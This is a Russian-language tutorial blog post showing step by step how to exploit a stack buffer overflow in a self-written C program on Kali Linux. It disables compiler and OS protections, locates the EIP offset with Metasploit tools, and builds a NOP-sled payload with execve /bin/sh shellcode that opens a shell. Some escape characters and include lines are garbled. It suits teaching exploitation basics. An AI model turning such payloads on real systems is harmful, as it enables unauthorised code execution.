Создание эксплоита

by @money_hacker
Создание эксплоита

Переполнение буфера стека происходит, когда программа записывает больше данных для стека, чем было выделено для буфера. Это приводит к перезаписыванию, возможно, важных избыточных данных в стеке и вызывает аварийное завершение или выполнение произвольного кода возможным перезаписыванием указателя команд и, следовательно, позволяет перенаправить выполнение потока программы.


Я использую Evan‘s debugger для демонстрации переполнения буфера на Kali Linux.


Уязвимый код

Распространенная уязвимость переполнения буфера в программе сохраняет данные, вводимые пользователем в памяти без проверки размера указания точного размера данных, которые должны быть записаны в памяти. Зная этот факт, мы можем использовать простой пример кода уязвимости для стека на основе переполнения буфера.

#include 
#include 
int main(int argc, char** argv)
{
char buffer[20];
strcpy(buffer, argv[1]);
printf("%s/n",buffer);
return 0;
}





Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера.​


Взлом и отладка

Мы почти взломали нашу программу. Перед тем как сделать это, мы должны заблокировать несколько встроенных защит переполнения буфера. Так как переполнение буфера теперь является старой формой эксплойта, у компиляторов и ОС теперь есть несколько защитных мер против них.​


Стек Canary

Стек canary является случайным числом, размещенным в стеке сразу же перед указателем возврата стека. В случае переполнения буфера стека, значение canary будет перезаписано и программа сделает исключение. Стек canary может быть заблокирован во время компиляции путем компилирования с опцией -fno-stack-protector.

root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector




Предотвращение выполнения данных (NX/DEP)

Переполнение буфера стека обычно использует возможность контролировать исполняемый поток путем выполнения пейлоада, который хранится в стеке программы. DEP просто блокирует разрешение на выполнение стека программы, изображая пейлоад невыполнимым и бесполезным. Это может быть заблокировано путем использования такой программы как execstack 

root@kali:~# execstack -s ./vulnerable




DEP может быть обойден, с помощью таких техник как ret2libc attack или ROP


Address Space Layout Randomization (ASLR)

ASLR рандомизирует пространство памяти программы таким образом, чтобы перезаписывание адресной ссылки команд с фиксированным местоположением в памяти не являлось таким полезным, т.к. будет отличаться каждый раз, когда программа запускается и не будет указывать на то, что могло бы быть показано для пейлоад или ROP приспособления. ASLR может быть временно заблокировано, если ввести следующую команду

root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space




Теперь, когда вся защита переполнения буфера заблокирована, мы можем перейти к безопасному переполнению буфера стека в нашем коде во время использования отладчика, для проверки результатов.


Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141.


Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера.

root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*200‘)




Program crash due to buffer overflow

EIP points to 0x41414141


Управление EIP

Нам необходимо точно вычислить, сколько байт из наших 200 байт буфера перезаписывается EIP. У Metasploit framework есть два отличных инструмента для этого, это pattern_create и pattern_offset. Первый создает уникальный шаблон, для отправки его как буфера. Второй же используется, чтобы узнать смещение байтов, которые перезаписали EIP.

root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag




EIP points to a location in the unique pattern


Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне.

Код:

root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130




[*] Exact match at offset 32


Теперь нам нужно хорошее местоположение чтобы иметь адресную ссылку к EIP; предпочтительно, где мы сможем хранить выполнимый пейлоад. Отправляя выполненный пейлоад, мы можем вычислить локацию в стеке программы для нашего пейлоад.

Код:

root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*32 + "B"*4 + "C"*164‘)




Это приведет к аварийному завершению программы и EIP, чтобы ссылаться на 0x42424242, который также является недоступным местом памяти. Однако, если мы взглянем поближе на стек, мы сможем увидеть, что C аккуратно выровнены начиная с 0xbffff990, и это будет отличной локацией для шелл-кода нашего пейлоад.

Contents of stack after buffer overflow


Шелл-код и Эксплуатация

Мы можем захватить примитивный шелл-код, который выполняет /bin/bash, таким образом предоставляя нам оболочку с правами доступа пользователя, который запускает уязвимую программу.


Я использую этот:

    *****************************************************
    *    Linux/x86 execve /bin/sh shellcode 23 bytes    *
    *****************************************************
    *            Author: Hamza Megahed            *
    *****************************************************
    *             Twitter: @Hamza_Mega                  *
    *****************************************************
    *     blog: hamza-mega[dot]blogspot[dot]com         *
    *****************************************************
    *   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
    *****************************************************
xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80
********************************
#include 
#include 
char *shellcode = "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
  "/x6e/x89/xe3/x50/x53/x89/xe1/xb0/x0b/xcd/x80";
int main(void)
{
fprintf(stdout,"Length: %d/n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}




Главное помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш жестко запрограммированный адрес памяти для EIP будет указывать на несоответствующую память.


Мы можем заполнить оставшееся место символами ‘/x90‘, которые обычно являются неэксплуатируемыми командами CPU.

root@kali:~# edb --run ./vulnerable $(python -c ‘print "A"*32 + "/x90/xf9/xff/xbf" +"/x90"*141 + "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/x6e/x89/xe3/x50/x53/x89/xe1/xb0/x0b/xcd/x80"‘)




Мы можем проверить окно вывода, чтобы подтвердить, что наш эксплойт работает, и у нас есть оболочка.

Shell from buffer overflow exploit


Мы успешно использовали нашу уязвимую программу.​


*************************************************************************

Money Hacker - ПОДПИШИСЬ!
May 3, 2018